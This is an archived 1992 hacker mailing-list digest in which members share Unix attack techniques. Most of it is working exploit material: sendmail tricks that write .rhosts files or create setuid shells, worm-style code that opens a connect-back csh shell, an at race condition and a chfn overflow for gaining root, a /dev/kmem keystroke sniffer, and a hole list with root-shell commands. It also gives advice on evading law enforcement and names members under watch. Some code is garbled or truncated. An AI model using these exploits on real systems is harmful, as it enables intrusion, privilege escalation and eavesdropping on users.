=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- *** *** *** unCERTain DIGEST #3 *** *** 2/23/92 *** *** *** -=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Well folks, we kicked all those phuckin lamers off the list and recruited some REAL TALLENT! Our current roster is: Gail T. Dan Farmer G Gordon Liddy Bob Morris Matt Bishop David A Curry Brad Powell Niel Gorsuch Ed DeHart Eugene Spafford Brian Kernighan Ellie Dee Dennis Ritchie Ken Thompson WELCOME! ------------------------------------------------------------------------------ *** Introduction *** ------------------------------------------------------------------------------ Contributions: Several people still haven't contributed anything. I can understand that many of you are very busy and have little time to write. If you can just find 15-30 minutes to take a trick that you use or a hole that you've noticed and do a writeup about it, that'd make us very happy. After all, what's the point of having people who don't contribute remain on the mailing list? It's just an added security risk. If you don't contribute anything, you will be in danger of being removed from the list. I don't think it's too much to ask to have everyone make at least one contribution. ------------------------------------------------------------------------------ Security: This last weekend, some things happened concerning the security of Infohax. I'm not all that clear on the details, but I'll try my best to outline what happened. Someone on IRC was reported to have mentioned the Infohax project. He also claimed to have copies of the digest and said he had given them to CERT. He didn't say anything specific about the project, so it's possible that he just heard a name and is trying to scare someone. Also, a member's account was reported to have been seized with a copy of the digest in his directory. We don't know whether or not the authorities have copies of the digest or not, but we're attempting to tighten security just in case. Those who we feel haven't contributed anything to the project so far have been removed until they do make a contribution. They will be sent a notice informing them of this fact. Also, we've lost our listserv address at XXXXXXXXXXXX because of the concerns of some people there. In order to prevent anyone finding out about this project we ask the following: 1) Ideally, we ask that you keep copies of the digest offline or, if online, in an encrypted form. 2) Please don't mention the project to anyone unless they're already a member. 3) Non-contributors will be removed from the list. People who don't contribute are just dead weight and add to the possibility of security leaks. I can understand people being busy for periods of time, but please make an effort to contribute regularly. 4) The project name will change from time to time, too many mail spools are being grep'd. 5) No handles, names, or contact points will be mentioned in the digest. Only with your help can we make this work. ----------------------------------------------------------------------------- A reminder: This project is not about anything illegal, we are trying to collect and preserve group knowledge. It is NOT about applying it! What you do on your own time is your own business. No part of this project concerns the breaking of any laws or encouraging others to do so, it's about how it could be done. There we said it, considering the current 'weather', we felt we needed a CYA type statement. We are NOT a hacking group, we collect, develope and share knowledge and techniques. PERIOD! ------------------------------------------------------------------------------ Voting: Voting will be temporarily suspended until the security issues are cleared up. The list will remain at its current size until then. ------------------------------------------------------------------------------ TOC to date: ch.sec.rev ch.sec.rev 1 welcome.hax none 2 wtmp.hacker 01.12.01 2 welcome.hax2 none 2 rfc.authd.draft 01.13.00 3 intro.hax none 2 son.of.IP 01.14.00 2 hole.list hole.list.00 2 audit.tools 01.15.00 3 hole.list.2 hole.list.01 3 war.hax 01.16.00 1 sysadmin.comments 01.01.00 2 rdist.hole 06.00.00 1 frm.paper 01.02.00 2 rhosts.hole 06.01.00 1 frm.mentor.paper 01.03.00 1 unwho.pl cookbook.01.00 1 shell.tools 01.04.00 2 utmp_ed.c cookbook.01.01 1 phone.trace.evsn 01.05.00 2 unwho.pl(rev) cookbook.01.02 1 BSD.accnt.files 01.06.00 3 smforwrd.c cookbook.06.00 1 trace.fakemail.gd 01.07.00 3 smwrite.c cookbook.06.01 1 IP.tracing 01.08.00 3 smwiz.trk cookbook.06.02 1 more.IP.tracing 01.09.00 3 smdebug.c cookbook.06.03 1 rfc931 01.10.00 3 sploit.c cookbook.06.04 1 hacker.trkr.tools 01.11.00 3 at_race.c cookbook.12.00 3 chfn.sh cookbook.12.01 oops... 3 vmunix.c cookbook.13.00 --------------------------------------------------------------------------- Now to the good part! :) Index: ====== intro.hax3 the usual blerb ... FYI current 'intel' about the scene ... hole.list.2 CONTRIBUTE TO ME!, new holes, and sollutions welcome! war.hax how a hacker caught someone snooping arround his accnt smforwrd.c using sendmail to write to another users .rhosts files smwrite.c sendmail write hole like above but different smwiz.trk sendmail wiz - still works on a few systems... smdebug.c sendmail debug trick, used by the internet worm sploit.c simmilar to smforwrd.c but different at_race.c at race contition to get root chfn.c change finger info race condition to get root vmunix.c kernel/tty reader ------------------------------------------------------------------------------ ---------------------------------------------------------------------------- FYI: As a service to our members we will from time to time include current security related info about people and sites. DO NOT SEND ********ANY********* MAIL TO ANY USER AT: gmuvax2.gmu.edu ALL EMAIL SENT THERE IS BEING READ BY THE FEDS, AND I MEAN EVERYTHING THAT IS BEING SENT NOW OR WAS SENT OVER THE LAST 10 MONTHS. Ninja Master:is rummered to have gotten into a car accident, and to have died. (there are also rummers that he didn't, anyway, no one has heard from him) Feanor: has changed his handle to XXXXXXXXand is being watched by the cs dept at his school. do not send any mail to his address. Dispater:is being watched by his cs dept, do not send any mail to his address Tangent: is being watched by the sysadmins at cXXXXXXXXXXXXXXXXXXXXXXXXXX any mail should be directed to one of the other addresses or her accnt at the old listserv site. Albatross:is being watched, no safe address at this time, do not send mail to XXXXXXXXXXXXXXXXXXXXX Conflict: is being watched, no safe address at this time, do not send mail to XXXXXXXXXXXXXXXXXXXXXXX There may be some serveilence of the machine gnu.ai.mit.edu, but this is unclear at this time. >Subject: pass the word... > >there's rumoredly a person sniffing all traffic on #hack ... you may >want to have yourself and your friends hold off on serious chats at >least for now, as this person is claiming to be dumping it to the FBI >(either as its going on or in the future, it wasn't clear). > >Just so you know... > Not So Humble Babe and a few others were busted see the next phrack for info. (these people were carding and into warez ...) Alot of people have had DNR's on their lines in Cal - feds were after the TRW hackers - few busts... (credit scam) Just a reminder to stay away from cards, codez, .gov,+ .mil sites. You WILL be busted eventually if you don't. (also anything to do w/ money ...) ----------------------------------------------------------------------------- ============================================================================== hole.list.2 hole.list.01 02/23/92 ------------------------------------------------------------------------------ DATA: ========= GENERAL ========= 1. Do not allow usernames to contain any of the following characters ";~!`" (or any shell meta-charaters). This allows setuid root programs that popen to be spoofed. 2. Never allow a setuid to root program to send a mail message that the user creates to either the Berkeley mailer or mailx. All a user has to do to break root is to send a line such as: ~!cp /bin/sh /tmp/sh; chmod 2555 /tmp/sh That is that Berkeley mail(1) and Berkeley mailx(1) BOTH allow this shell escape to be executed if the line starts in column one of stdout while entering the message text. 3. Most security holes in UNIX are related to incorrect setting of directory and file permissions or race conditions in the kernel that allow setuid programs to be exploited. All non-standard setuid programs should be examined. 4. Many systems can be compromised with NFS/RPC. A skilled RPC writer can break security relatively easily. MIT's PROJECT ATHENA came up with Kerberos to address these problems, networks are usually very insecure. 5. The mount command should not be executeable by ordinary users. A setuid program on a mountable disk is NOT TO BE TRUSTED. 6. Systems that allow read-only mounting of foriegn disk are a security hole. Setuid programs are normally honored. This allows a person who has root access on a foriegn machine to break it on another. 7. Expreserve can be a huge hole (see the following) /dev/fb the frame buffer devices on at least suns are world readable/writeable, which is at best annoying (when someone runs something strange on you) and at worst insecure (since someone can take a snapshot of your screen via screenload or whatnot) /dev/*st*, *mt*, etc (tape devices) generally world readable/writeable, bad since others can nuke your tapes, read your backups, etc. chfn, chsh used to create a root account core will system dump a setgid core image? domain name system a sysadmin running the soa for a domain somewhere can create a bugs reverse address mapping table for one of his hosts that causes its IP address to have the domain name of a machine that my host has in its hosts.equiv file. if i'm using the usual version of 'istrusted' (I think that's the routine's name), the address lookup reveals the name of the host to be one that my host trusts, and this other sysadmin can rlogin into my machine or rsh or whatnot at will. fchown test for bad group test ftruncate can be used to change major/minor numbers on devices fingerd hard .plan links - reading unreadable files readable by user(fingerd) setuid, .plan links running as root (fingerd_test.sh) buffer overrun file mod test. test of file does not loose the setuid bit when modified ftp ftpd static passwd struct overwrite 4.2 based bug, userid not reset properly, (after logging in enter comment "user root" and you are, last seen onder SunOS 3.3?). overwrite stack somehow? hosts.equiv default + entry istrusted routine - easy to spoof by bad SOA at remote site with hacked reverse address map. lock 4.1bsd version had the password "hasta la vista" as a builtin trapdoor. (found in ultrix) lost+found, fsck lost+found should be mode 700, else others might see private files. lpd its possible to ovberwrite files with root authority with user level access locally or remotely if you have local root access lpr lpr -r access testing problem lprm trusts utmp passwd fgets use allows long entries which will be mangled into ::0:0::: entries also allows: fred:...:...:...:Fred ....Flintstone::/bin/sh => fred:...:...:...:Fred..... Flintstone::/bin/sh which is a root entry with no password! fix - should skip to eol if it didn't read whole entry, should enforce buffer limits on text in file, don't use atoi (since atoi(/bin/sh) is 0). portmap allows other net entities to make bindings - may not be a "security hole", can lead to denial of service. rcp nobody problem rexd existence rwall,comsat running as root, utmp world writeable, writes to files as well as devices in utmp dev fields. rdist - buffer overflow selection_svc allowed remote access to files sendmail debug option wizard mode TURN command allows mail to be stolen decode mail alias - anyone can send mail to decode, write to any file onwed by daemon, if they can connect to sendmail daemon, can write to any file owned by any user. overflow input buffer cause the sendmail deamon to lock up overwrite files sendmail can be "tricked" into delivering mail into any file but those own my root. -oQ (different Q) fixed in newer versions mqueue must not be mode 777! what uid does |program run with? sendmail -bt -C/usr/spool/mail/user - in old versions, allows you to see all lines of the file. setuid bit handling setuid/setgid bit should be dropped if a file is modified fix: kernel changes setuid scripts there are several problems with setuid scripts. is it worth writing tests for these? some systems might have fixed some of the holes - does anyone know how one fixes these problems in a proactive fashion? sh IFS hole (used with vi, anything else?) su overwrite stack somehow? tcp/ip sequence number prediction makes host spoofing easier source routing make host spoofing easier rip allows one to capture traffic more easily various icmp attacks possible (I suspect a traceroute'd kernel will allow one to easily dump packets onto the ethernet) tftp allows one to grab random files (eg, /etc/passwd). fix - should do a chroot allows puts as well as gets, no chroot fix - don't run as root, use chroot, no puts, only if boot server. utmp check to see if world writeable (if so, the data can't be trusted, although some programs are written as though they trust the data (comsat, rwalld)). uucp check if valid uucp accounts are in the /etc/ftpusers. If the shell is uucico and passwd is valid make sure it is listed in ftpusers. check to see that uucp accounts have shell: if left off, folks can do: cat >x myhost myname ^D uucp x ~uucp/.rhosts rsh myhost -l uucp sh -i HDB nostrangers shell escape HDB changing the owner of set uid/gid files HDB meta escapes on the X command line HDB ; breaks on the X line uudecode if it is setuid, some versions will create setuid files ypbind accepts ypset from anyone (can create own ypserv and data, and ypset to it...) ypserv spoofing send lots of bogus replies to a request for root's passwd entry, while doing something that would generate such a request [I'm pretty sure that this is possible, but haven't tried it.] AIX * password means use root's password? AIX 2.2.1 shadow password file (/etc/security/passwd) world writeable fix - chmod 600... 386i login fix - nuke logintool, hack on login with adb, chmod 2750 ultrix 3.0 login login -P progname allows one to run random programs as root. fix - chmod 2750. xhost: if access access control is disabled any one can connect to a X display it is possible and create (forge) and/or intercept keystrokes. ------------------------------------------------------------------------------ Comments: Q's: Biblio: CrossRef: Code/shRef: ============================================================================== ============================================================================== war.hax 01.16.00 02/23/92 ------------------------------------------------------------------------------ DATA: :: Hacker War Stories :: NOSEY ADMINS ~~~~~~~~~~~~ Two years ago, during Operation Sundevil, I had a legitimate account called "Phrack", at the university I attended. I just called it that because, I liked the name and the magazine. I did correspond through e-mail with KL&TK, and wrote a little bit for Phrack, but it wasn't like an official Phrack mailing list. However, this raised some suspicion my many people mearly because of the address, "phrack@blah.blah.edu". At my university there was a faculty member that thought necessary to peer into my account, read my mail and other things. This is how I caught him. I told a friend, that was the administrator of the machine, I had noticed some odd things going on with my account. My password was not an english word or a name or anything else that was easily cracked by a program like Killer Cracker. What we did was we did was created another account for me to use while we monitored my "Phrack" account. I used the newly created account as I did my old one and told everyone I knew that the other account was dead. I also never accessed the "Phrack" account again. As it turns out the idiot was using root to get into my account and we quickly saw this in the ".history" file. On my machine the ".history" file was world readable and therefore I didn't have any problems seeing what he did from my new account. LESSON LEARNED ~~~~~~~~~~~~~~ I'd like to point out that I have never been "busted" by the feds or even reprimanded by my school for anything I did on their system. I abused the system for about four years with no one batting an eye. I thought that a friend of mine and myself were the only hackers on the system. I didn't feel the least bit paranoid. I felt too secure as it turns out, even though I didn't get caught doing anything I got caught up in a hacker sweep that caused a few problems for me. My crime against humanity was this; I left two passwords cracking programs in my directory that were found by the admins one day. One day the admin got scared when they noticed someone was running *TWO* password cracking programs on two different accounts. To this day, I have no idea who this person was. Anyway, they went on a hacker witch hunt and decided that they should check all accounts for any "unethical software". Needless to say I had a few things that matched that category, but I was just storing them there, and NEVER ran anything like that on my account. They could even see this in their process accounting. So, I got my account revoked because I had things in my directory that the admins thought were "potentially unethical". I have never had any direct contact with the "net police" until then. It was a real shock. I had at this time, no idea that people were interested in burying their heads in the sand about computer security. I just figured that they "just didn't know" but would probably learn if someone would teach them some things. But instead, I learned that people just prefer to get scared and hide from people that don't have a piece of paper that says they know computer science. I also learned a few other things: 1) Always be paranoid of the administrators. Never trust anyone that is an admin, unless you've known them for a really long time. (e.g.: since high school) 2) You are guilty until proven innocent. Just because you aren't doing anything wrong doesn't mean you're innocent in the eyes of someone looking to place the blame. 3) You are generally not the only hacker on a system. Just because you are using precautions when you hack to cover your ass, doesn't mean that some other idiot won't fuck things up for you! 4) Always be paranoid. Even if you have a legitimate account on a machine treat it like everybody in the world can see every move you make, because sometimes they do! Don't get lazy and say, "well I'll download that tomorrow." Tomorrow you could wake up with your account gone. 5) We live in a network police state. ------------------------------------------------------------------------------ Comments: Q's: Biblio: CrossRef: Code/shRef: ============================================================================== ============================================================================== smforwrd.c cookbook.06.00 02/23/92 ------------------------------------------------------------------------------ DATA: trick for sendmail 5.61 /* * 1) set the #define UID, at the top of the program to be your's * 2) create a file: /tmp/.shell, which is a script to make a suid shell * 3) compile the program and name it say, /tmp/.magic * 4) create a .forward file containing: '|/tmp/.magic' * 5) 'telnet yoursystem 25' and send yourself some fakemail from whoever * you want a shell from (but not root :-( RATS!) * 6) wait abit, it usuallly works ... */ #define UID 777 /* change to your uid */ #include #include #include #include #include #include #define SHELLFILE "/tmp/.shell" main() int myuid, rval; if ((myuid = getuid()) == UID) rval = EX_TEMPFAIL; else { rval = EX_OK; system(SHELLFILE); } exit(rval); } ------------------------------------------------------------------------------ Comments: Q's: Biblio: CrossRef: Code/shRef: ============================================================================== ============================================================================== smwrite.c cookbook.06.01 02/06/92 ------------------------------------------------------------------------------ DATA: Using Sendmail to write files ============================= Here is the output from a script(1) that shows how one can convince sendmail to write to another users `.rhosts'. $ telnet your.friendly.host smtp Trying 1.2.3.4 ... Connected to your.friendly.host. Escape character is '^]'. 220 your.friendly.host Sendmail 4.0 ready at Sun, 17 Sep 89 03:18:08 mail from: 250 ... Sender ok rcpt to: /etc/passwd 554 /etc/passwd... Cannot mail directly to files rcpt to: /etc/passwd 550 /etc/passwd... Addressee unknown data 354 Enter mail, end with "." on a line by itself ignore . 250 Mail accepted mail from: joeuser 554 /etc/passwd... Possible alias loop rcpt to: /usr/users/joeuser/.rhosts 250 /usr/users/joeuser/.rhosts... Recipient ok data 503 Need MAIL command mail from: joeuser 250 joeuser... Sender ok data 354 Enter mail, end with "." on a line by itself hack.edu hacker . 250 Mail accepted quit 221 your.friendly.host delivering mail Connection closed by foreign host. $ rsh your.friendly.host -l joeuser sh -i ------------------------------------------------------------------------------ Comments: Q's: Biblio: CrossRef: Code/shRef: ============================================================================== ============================================================================== smwiz.trk cookbook.06.02 02/23/92 ------------------------------------------------------------------------------ DATA: WIZ === WIZ mode is even more interesting. You just telent to the host of your choice, type `wiz' followed by `SHELL' and presto, a root shell on that host. This only works on old UNIX systems, but there are certainly a few of those lying around. ------------------------------------------------------------------------------ Comments: Q's: Biblio: CrossRef: Code/shRef: ============================================================================== ============================================================================== smdebug.c cookbook.06.03 02/23/92 ------------------------------------------------------------------------------ DATA: Worm ==== Here are a client and server process that use the same method that Robert T. Morris Jr. used in his Internet worm. It exploits debug mode in sendmail. #include #include #include #include #include /* * Worm Client * */ main(argc, argv) int argc; char *argv[]; { struct sockaddr_in sin; int s; char **str, c; if (fork() > 0) exit(); bzero(&sin, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(worm_server_addr); sin.sin_port = htons(3456); s = socket(AF_INET, SOCK_STREAM, 0); if (connect(s, &sin, sizeof(sin)) < 0) { perror("no connection"); exit(1); } close(0); close(1); close(2); dup(s, 0); dup(s, 1); dup(s, 2); printf("Hello, I am worm client!\n"); fflush(stdout); system("/bin/csh"); fflush(stdout); close(s); } #include #include #include #include #include char *worm_head[] = { "debug", "mail from: ", "rcpt to: <\"|sed -e '1,/^$/'d | /bin/sh ; exit 0\">", "data", "", "cd /usr/tmp", "rm -rf sendmail.c sendmail.o sendmail", "cat > sendmail.c << 'EOF'", 0 }; char *worm_tail[] = { "EOF", "", "cc -o sendmail sendmail.c; rm -rf sendmail.c ; ./sendmail ;rm -rf sendmail", "", ".", "quit", 0 }; main(argc, argv) int argc; char *argv[]; { struct sockaddr_in sin; int s; char **str, c; int from_worm_client; if (argc != 2) { fprintf(stderr, "%s conanical-IP-address\n", argv[0]); exit(1); } from_worm_client = worm_server_set(); bzero(&sin, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(argv[1]); sin.sin_port = htons(25); s = socket(AF_INET, SOCK_STREAM, 0); if (connect(s, &sin, sizeof(sin)) < 0) { perror("no connection"); exit(1); } close(1); dup(s, 1); str = worm_head; while (*str) printf("%s\r\n", *str++); put_server_host_addr(); put_main_worm_body(); str = worm_tail; while (*str) printf("%s\r\n", *str++); fflush(stdout); close(s); worm_server_get(from_worm_client); } put_server_host_addr() { struct hostent *hp; char hostname[BUFSIZ]; gethostname(hostname, BUFSIZ); hp = gethostbyname(hostname); printf("char *worm_server_addr = \""); while (hp->h_length) { hp->h_length--; printf("%d", (int) (*hp->h_addr++)); if (hp->h_length) printf("."); } printf("\";\r\n"); } put_main_worm_body() { FILE *worm_client; char *c, buf[BUFSIZ]; worm_client = fopen(WORM_CLIENT_SRC, "r"); if (worm_client == NULL) { perror("no worm client src"); exit(1); } while (fgets(buf, BUFSIZ, worm_client) != NULL) { c = buf; while (*c && *c != '\n') printf("%c", *c++);(*c++); printf("\r\n"); } fclose(worm_client); } worm_server_set() { struct sockaddr_in sin; int s; char **str, c; bzero(&sin, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = INADDR_ANY; sin.sin_port = htons(3456); s = socket(AF_INET, SOCK_STREAM, 0); if (bind(s, &sin, sizeof(sin)) < 0) { perror("no bind"); exit(1); } if (listen(s, 5) == -1) { perror("no listen"); exit(1); } return s; } worm_server_get(s) int s; { char buf[BUFSIZ]; int f, fromlen; struct sockaddr_in from; int pid; fromlen = sizeof(from); f = accept(s, &from, &fromlen); if (f < 0) { perror("no accept"); exit(1); } close(1); dup(f, 1); pid = fork(); if (pid == 0) for (;;) { if ((fromlen = read(f, buf, BUFSIZ)) <= 0) exit(1); write(2, buf, fromlen); fflush(stderr); } else { for (;;) { fprintf(stderr, "ready: "); if (fgets(buf, BUFSIZ, stdin) == NULL) { puts("exit\n"); puts("logout\n"); fflush(stdout); kill(pid, 9); break; } else { puts(buf); fflush(stdout); } } } close(f); close(s); } ------------------------------------------------------------------------------ Comments: Q's: Biblio: CrossRef: Code/shRef: ============================================================================== ============================================================================== sploit.c cookbook.06.04 02/23/92 ------------------------------------------------------------------------------ DATA: local comprimise ================ Save the following program as "sploit.c" changing MYUID to your user id. Compile "sploit.c" producing the executable "sploit" in your home directory. Create a ".forward" file containing: \, "|/sploit" [change to your username so you dont lose mail (unless, of course, you'd rather lose mail) and set to your home directory path (where sploit lives)] Now, as another user, send yourself some mail. Note that the sploit program defers delivery the first time thru; check out "/tmp/whoami" to see that sploit ran as you. Now, run your mail queue (or open a beer and wait for sendmail to run it). After the queue run, note that the sploit accepted the letter and returned a successful exit status; check out "/tmp/whoami" again to see that this time, sploit ran as the sender! You can also use "sploit.c" to test for the root initgroups() hole by checking the group list when "sploit" was first called. #include #include #include #include #include #include #define MYUID 777 /* your uid (i.e. your ".forward" invokes this) */ #definegetuser(uid)getpwuid(uid)->pw_name/* assume valid uid */ #definegetgrp(gid)getgrgid(gid)->gr_name/* assume valid gid */ main() { FILE *fp; uid_t myuid; int i, rval, ngrps, grplst[NGROUPS]; if ((myuid = getuid()) == MYUID) rval = EX_TEMPFAIL; else rval = EX_OK; if ((fp = fopen("/tmp/whoami", "a")) != NULL) { /* real user/group ids */ fprintf(fp, "%susr:%s grp:%s", (rval == EX_OK)? "": "Def> ", getuser(myuid), getgrp(getgid())); /* effective user/group ids */ fprintf(fp, " eusr:%s egrp:%s", getuser(geteuid()), getgrp(getegid())); /* group list */ if ((ngrps = getgroups(NGROUPS, grplst)) > 0) { fprintf(fp, " grps:"); for (i = 0; i < ngrps; i++) fprintf(fp, " %s", getgrp(grplst[i])); } fprintf(fp, "\n"); (void) fclose(fp); } exit(rval); } ------------------------------------------------------------------------------ Comments: Q's: Biblio: CrossRef: Code/shRef: ============================================================================== ============================================================================== at_race.c cookbook.12.00 02/23/92 ------------------------------------------------------------------------------ DATA: AT race condition ================= This will fight `at' for gaining root status. It uses a system race condition so it is in a reliable way to break into a system, but it will certainly work in time. #include #include #include #defineATSIZE512 charAtdir[] = "/usr/spool/at"; charAtformat[] = "\ # owner: root\n\ # jobname: chkfpd\n\ # shell: sh\n\ # notify by mail: no\n\ \n\ exec 2>&-\n\ /bin/echo '#! /bin/sh' > /tmp/-\n\ /bin/chmod 6711 /tmp/-\n\ exit 0\n\ \n"; char*env[] = { 0 }; intpid; main() { charatfile[ATSIZE], buf[5]; intfd; FILE*fp; structtm*tp, *getnowtime(); voidmakeatfile(), maketime(); maketime(tp = getnowtime()); (void) sprintf(buf, "%02d%02d", tp->tm_hour, tp->tm_min); switch (pid = vfork()) { case -1: perror("fork"); exit(1); case 0: (void) nice(19); (void) umask(0); (void) execle("/usr/bin/at", "at", "-s", buf, "/dev/null", (char *) 0, env); perror("at"); _exit(1); } makeatfile(atfile, tp); while ((fd = open(atfile, 1)) < 0) ; printf("OK: "); (void) fflush(stdout); (void) wait((union wait *) 0); fp = fdopen(fd, "w"); fprintf(fp, Atformat); (void) fclose(fp); printf("%s\n", buf);/* the time of the atrun */ exit(0); } /* * the following routines were stolen and adapted from at.c */ structtm*getnowtime() { structtimevaltime; structtm*localtime(); if (gettimeofday(&time, (struct timezone *) 0) < 0) { perror("gettimeofday"); exit(1); } return localtime(&time.tv_sec); } voidmaketime(tp) structtm*tp; { intmin; if ((min = tp->tm_min) < 29)/* at least 1 minute gap */ tp->tm_min = min < 14 ? 15 : 30; else if (min < 44) tp->tm_min = 45; else { tp->tm_min = 0; if (++tp->tm_hour >= 24) { tp->tm_hour = 0; if (++tp->tm_yday >= (tp->tm_year & 03 ? 365 : 366)) { tp->tm_yday = 0; ++tp->tm_year;/* no check */ } } } } voidmakeatfile(atfile, tp) char*atfile; structtm*tp; { inti; for (i = 0; ; i += 53) { (void) sprintf(atfile, "%s/%02d.%03d.%02d%02d.%02d", Atdir, tp->tm_year, tp->tm_yday, tp->tm_hour, tp->tm_min, (pid + i) % 100); /* * Make sure that the file name that we've created is unique. */ if (access(atfile, 0) == -1) return; } } ------------------------------------------------------------------------------ Comments: ================= SVR.0 to SVR3.2 ================= Several at(1)s have an extremely nasty bug. Cron(1) which run atjobs runs setuid to root. Normally the atjobs are stored in /usr/spool/cron/atjobs. There it creates a file owned by the atjob submitter. On many systems /usr/spool/cron/atjobs is mode drwxr-xr-x and allows a normal user to chdir(2) to that directory. Many System V crons determine what uid to run the atjob by the file's owner. Breaking security can be as simple as cding to cron and change the owner of an atjob you submitted to root. Alternatively, an atjob that submits another atjob on some systems will run as root (I don't know why). Q's: Biblio: CrossRef: Code/shRef: ============================================================================== ============================================================================== chfn.sh cookbook.12.00 02/23/92 ------------------------------------------------------------------------------ DATA: chfn ==== The change finger information facility has a buffer overflow condition that can be exploited in the following manner. First is a `csh' script to insure that backups are made and everything is run in order. The second script is edited due to the number of characters required to overflow the buffer. Script One #!/bin/csh -f # date echo "" echo "grep for gretzky in /etc/passwd" grep gretzky /etc/passwd echo "" echo "Making a copy of the password file ..." cp /etc/passwd etc.passwd echo "Running the chfn in a script (sh) ..." sh chfn.test echo "" echo "... finished" echo "" echo "grep for gretzky in /etc/passwd again" grep gretzky /etc/passwd echo "" echo "NOW grep for aaa in /etc/passwd" grep aaa /etc/passwd echo "" echo " Gotcha! " echo "" date echo "" The second script #!/bin/sh # # The number of letters (a, b, ...) depends on how many fields # chfn(1) asks for. Ultrix 2.x is 4, as is BSD4.x while SunOS 3.5 is 1. # /bin/chfn < #include #include #include #include #include #include #define NDZ 1 /* DZ's and DH's have to be mapped into */ #define NDH 2 /* your own hardware */ #define NPT 2 /* number of pty controllers */ #define DZ11 1 /* major device number of the dz11 */ #define DH11 33 /* major device number of the dh11 */ #define PTY 20 /* major device number of the ptys */ #define DZ_X 8 /* eight lines per dz11 */ #define DH_X 16 /* sixteen lines per dh11 */ #define PT_X 16 /* sixteen lines per pty controller */ #undef major() /* need to do this because of kernel */ #undef minor() /* macros used to strip off device #'s */ static struct nlist nl[2]; static char *name_list[] = { "_dz_tty", /* base address of the dz tty structures*/ "_dhu11" , /* same for the dh's */ "_pt_tty", /* pseudo-ttys */ 0 }; main(argc , argv) char **argv; int argc; { /********************************/ int major; /* place to hold major # */ int minor; /* place to hold minor # */ int board_type; /* tells me which kind of tty */ int fd; /* fd for memory */ long offset; /* how far into the above tables*/ struct tty ttyb; /* place to put the tty buffer */ extern char *calloc(); /* our friend calloc */ get_args(&major , &minor , argc , argv); check_args(major , minor , &board_type , argv); get_name_list(board_type , argv); open_memory(&fd , argv); { char *p; /* blank out argument list */ for (p = argv[1]; *p != '\0'; p++) *p = '\0'; for (p = argv[2]; *p != '\0'; p++) *p = '\0'; } offset = minor * sizeof(struct tty); fflush(stdout); fflush(stdout); while (1) { read_tty(fd , nl[0].n_value , offset , &ttyb); get_clist(fd , &ttyb.t_nu.t_t.T_rawq); } } /** *** Much monkeying around was done before I settled on this *** procedure. I attempted to follow the c_next pointers in *** the individual cblocks. This is friutless since by the *** time we do the second seek and read the information has *** been whisked away. *** *** So - The LIMITATIONS of this routine are: *** *** cannot read from any tty in RAW mode *** can only snarf first 28 characters (ie *** the first cblock) *** *** Nice things about this routine: *** *** only NEW characters are echoed to the output *** (eg characters in the cblock which have been *** seen before are swallowed). **/ get_clist(fd , cl) register struct clist *cl; { static char c[CBSIZE]; static char *old_start = 0 , *old_finish = 0; static int old_i = 0; char *pntr; int tn , in; if ((cl->c_cc > 0) && ((old_start != cl->c_cf) || (old_finish != cl->c_cl))) { pntr = c; lseek(fd , (long) cl->c_cf , 0); read(fd , c ,(tn=in=cl->c_cc > CBSIZE ? CBSIZE : cl->c_cc)); if (old_start == cl->c_cf) { in -= old_i; pntr += old_i; } if (in > 0) while (in--) putchar(*(pntr++)); else if (in < 0) while (in++) putchar('\010'); fflush(stdout); old_i = tn; old_start = cl->c_cf; old_finish = cl->c_cl; } if (cl->c_cc <= 0) { if (old_i != 0) putchar('\n'); old_i = (int) NULL; old_start = old_finish = NULL; } } read_tty(fd , base , offset , buffer) long base , offset; register struct tty *buffer; { register int i; lseek(fd , base + offset , 0); i = read(fd , buffer , sizeof(struct tty)); if (i != sizeof(struct tty)) { printf("unexpected return from read\n"); printf("should have been %d\n" , sizeof(struct tty)); printf("was %d\n" , i); exit(0); } } open_memory(fd , argv) int *fd; char **argv; { if ((*fd = open("/dev/kmem" , 0)) < 0) { perror(argv[0]); exit(0); } } get_name_list(index,argv) int index; char **argv; { nl[0].n_name = name_list[index]; nlist("/vmunix" , nl); if (! nl[0].n_type) { printf("%s: couldn't get name list\n" , argv[0]); exit(0); } printf("%s starts at %08x\n" , nl[0].n_name , nl[0].n_value); } get_args(major , minor , argc , argv) int *major , *minor , argc; char **argv; { if (argc != 3) { fprintf(stderr,"usage: %s major_dev minor_dev \n" , argv[0]); exit(0); } *major = atoi(argv[1]); *minor = atoi(argv[2]); printf("Major Device: %d -- Minor Device: %d\n" , *major , *minor); } check_args(major , minor , board , argv) char **argv; int *board; { if (minor < 0) { bad_minor: printf("%s: bad minor device number\n" , argv[0]); exit(0); } switch (major) { case DZ11: if (minor >= NDZ * DZ_X) goto bad_minor; printf("DZ11 - Unit %d\n" , minor / DZ_X); *board = 0; break; case DH11: if (minor >= NDH * DH_X) goto bad_minor; printf("DH11 - Unit %d\n" , minor / DH_X); *board = 1; break; case PTY: if (minor >= NPT * PT_X) goto bad_minor; printf("PTY - Unit %d\n" , minor / PT_X); *board = 2; break; default: printf("%s: bad major device number\n" , argv[0]); exit(0); } } ------------------------------------------------------------------------------ Comments: Q's: Biblio: CrossRef: Code/shRef: ============================================================================== [nestey] 34) X-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-X Another file downloaded from: NIRVANAnet(tm) &TOTSE 510/935-5845 Walnut Creek, CA Taipan Enigma Burn This Flag 408/363-9766 San Jose, CA Zardoz realitycheck 415/666-0339 San Francisco, CA Poindexter Fortran Governed Anarchy 510/226-6656 Fremont, CA Eightball New Dork Sublime 805/823-1346 Tehachapi, CA Biffnix Lies Unlimited 801/278-2699 Salt Lake City, UT Mick Freen Atomic Books 410/669-4179 Baltimore, MD Baywolf Sea of Noise 203/886-1441 Norwich, CT Mr. Noise The Dojo 713/997-6351 Pearland, TX Yojimbo Frayed Ends of Sanity 503/965-6747 Cloverdale, OR Flatline The Ether Room 510/228-1146 Martinez, CA Tiny Little Super Guy Hacker Heaven 860/456-9266 Lebanon, CT The Visionary The Shaven Yak 510/672-6570 Clayton, CA Magic Man El Observador 408/372-9054 Salinas, CA El Observador Cool Beans! 415/648-7865 San Francisco, CA G.A. Ellsworth DUSK Til Dawn 604/746-5383 Cowichan Bay, BC Cyber Trollis The Great Abyss 510/482-5813 